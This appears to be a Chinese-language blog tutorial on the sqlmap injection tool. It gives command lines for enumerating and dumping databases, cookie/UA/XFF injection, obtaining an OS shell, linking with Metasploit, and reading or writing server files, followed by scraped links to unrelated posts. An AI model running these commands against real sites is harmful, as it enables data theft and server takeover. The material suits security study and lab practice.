2019.10.28sql注入工具
SQLMAP工具的使用
sql注入工具:明小子 啊D 萝卜头 穿山甲 sqlmap等等
开源自动化注入利用工具,支持12中数据库,在/plugins中可以看到支持的数据库种类
支持的注入类型:bool,时间,报错,联合,堆查询,内联
可以获取用户名 密码 权限 角色 数据库 (表,字段,内容)
可以爆破识别密文数据:
getshell
命令执行
脱库/删库
目录介绍
doc介绍文档
extra 他是sqlmap额外的功能,运行cmd执行命令
lib 是sqlmap核心功能代码
pluigins包含12种数据库识别程序
data 各种数据: procs包含了mssql mysql oracle postgresql 这四种数据库的触发程序
shell 远程命令和后门
txt 表名 列名 UA字典
udf 存放攻击载荷 payload
xml 存放检测脚本
tamper 包含各种绕waf 处理脚本
thirdparty 包含了第三方插件,颜色,优化等等
sqlmap
工作流程
1.初始化
2.开始检测
0>检测之前是否注入过(会把检测的URL默认存放在用户家目录下.sqlmap下的output
--output-dir参数可以指定存放的目录)
1>解析URL,判断该URL是否可以访问
2>检测是否有WAF
sqlmap -u "目标URL" --identify-waf
sqlmap -u "目标URL" --check-waf
3> 执行用户输入的参数
-u 指URL
-P 指定参数
-v 指定显示的级别
--dbs 数据库
--current-db 当前数据库
--tables 表
--columns 列名
--dump 获取数据,脱库
--batch 跳过问询(yes) 直接执行
--DBMS指定数据库类型
--risk 等级过高会使用到drop,update 语句,请不要超过2,除非是自己实验的数据库
--v 显示结果等级3.
步骤详解:
1.判断注入点:sqlmap -u "目标URL" //当看到探测到结果中有环境参数(系统类型,数据库类型),则表明有注入点
2.查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql
3.获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql
4.获取当前数据库下的表:sqlmap -u "目标url" -D 库名 --tables --dbms mysql --tatch
5.获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns
6.获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用,隔开)
指定参数:
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie "security=low;PHPSESSID=ji8v90ct3smcr6nr2dr5bgr8d7"
cookie 注入:
python sqlmap.py -u "target" --cookie "uname=12" --level 2
python sqlmap.py -r bp拦截到的post包文档 --level 2
level 2以上会测试http cookie头的值.
level 3 以上会测试UA 和 HTTP referer头的值
xff注入:
sqlmap -r post_xff.txt --level 3
ua注入
python sqlmap.py -r post_ua.txt --level 3 --dbms mysql --batch
伪静态注入
python sqlmap.py -u "http://127.0.0.1/wjt/1*.html" //伪静态要加*,表明1这个位置是注入点
批量测试
python sqlmap.py -m targeturl.txt -beep
SQLMAP注入点执行系统命令或者交互式shell
(条件:1,数据库有写文件的权限 2.需要知道web站点路径)
sqlmap.py -u "target_url" --os-cmd=ipconfig 执行系统命令ipconfig
sqlmap.py -u "target_url" --os-shell 获取系统的shell
sqlmap.py -u "target_url" --is-dba 判断当前用户是不是dba
延时注入 --delay 2 延时 2s注入
sqlmap.py -u "target_url" --delay 2
sqlmap --sql-query
sqlmap与msf结合使用
--os-pwn --msf-path /usr/share/metasploit-framework
--os-pwn用来与其他工具结合
--msf-path 指定msf所在位置
sqlmap读写文件
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
2019.10.28sql注入工具的更多相关文章
- 10个SQL注入工具(转载)
众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...
- SQLmap自动注入工具命令(10.28 10.29 第二十八 二十九天)
SQL注入工具:明小子 啊D 萝卜头 sqlmap 等等 SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他 ...
- 10 个 SQL 注入工具
BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出 ...
- 十大关系数据库SQL注入工具一览
摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...
- 延迟注入工具(python)
延迟注入工具(python) #!/usr/bin/env python # -*- coding: utf-8 -*- # 延迟注入工具 import urllib2 import time imp ...
- SQL注入工具实践
程序简介 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入. ...
- 每个Java开发人员都应该知道的10个基本工具
大家好,我们已经在2019年的第9个月,我相信你们所有人已经在2019年学到了什么,以及如何实现这些目标.我一直在写一系列文章,为你提供一些关于你可以学习和改进的想法,以便在2019年成为一个更好的. ...
- 【2019.10.17】十天Web前端程序员体验(软件工程实践第五次作业)
结对信息.具体分工 Github地址:https://github.com/MokouTyan/131700101-031702425 学号 昵称 主要负责内容 博客地址 131700101 莫多 代 ...
- TIZ_c 第0周总结(2019/10/15-2019/10/22)工欲善其事必先利其器
TIZ_c 第0周总结(2019/10/15-2019/10/22)工欲善其事必先利其器 任务清单 给自己取一个酷酷的id,并选择1-2个喜欢的方向.(只是初步选择,后期可更改) 改下群名片.例如yo ...
随机推荐
- 前端之路(一)之W3C是什么?
W3C 指万维网联盟(World Wide Web Consortium) W3C 最重要的工作是发展 Web 规范(称为推荐,Recommendations),这些规范描述了 Web 的通信协议(比 ...
- 使用Navicat为Oracle导入函数后函数显示红叉
上图是plsql中的截图 有可能是Navicat没有缓存过程,刷新试一试,不行的话,对导入的函数进行重新编译即可. 还发现一个问题是,Navicat导出的脚本里面,函数部分竟然没有参数和返回值,让我很 ...
- shader飞线改进版
项目github地址:https://github.com/ecojust/flyline 前面写过一个飞线(基于THREE.Line进行的颜色变化),只是简单地将可视区片元颜色的alpha通道值设为 ...
- tween.js的API实践
看了网上多篇关于tween的使用教程,基本上千篇一律,大多数的写法都是像下面这样: function initTween(geometry) { }; tween = }, ); tween.easi ...
- Golang中基础的命令行模块urfave/cli
前言相信只要部署过线上服务,都知道启动参数一定是必不可少的,当你在不同的网络.硬件.软件环境下去启动一个服务的时候,总会有一些启动参数是不确定的,这时候就需要通过命令行模块去解析这些参数,urfave ...
- Linux (Ubuntu 18.04) 安装vim编辑器
大家可以去Ubuntu官网下载桌面系统:https://ubuntu.com/download/desktop,虽然最新版是19.04,但是建议大家下载稳定版18.04.安装过程非常简洁,我使用的是V ...
- mobile/immobile species的区别
在地下水反应运移模型中: “mobile species” 涉及运移和反应过程(transport+reaction) “immobile” species 只涉及反应过程 (reaction)
- VC/MFC中的CComboBox控件使用详解
CComboBox控件详解 CComboBox控件又称作组合框控件,其有三种形态可供选择,1.简单组合框(Simple)2.下拉组合框(Drop-down)3.下拉列表式组合框(Drop-down l ...
- js同步任务和异步任务的执行顺序
先来道今日头条面试题开开胃 async function async1() { console.log('async1 start'); await async2(); console.log('as ...
- java暂停线程
暂停线程 本节介绍两个被废弃的用于线程暂停和恢复的方法suspend().resume().主要探究废弃原因,强调线程的安全性.主要有两个原因 原因1: suspend().resume()使用不当, ...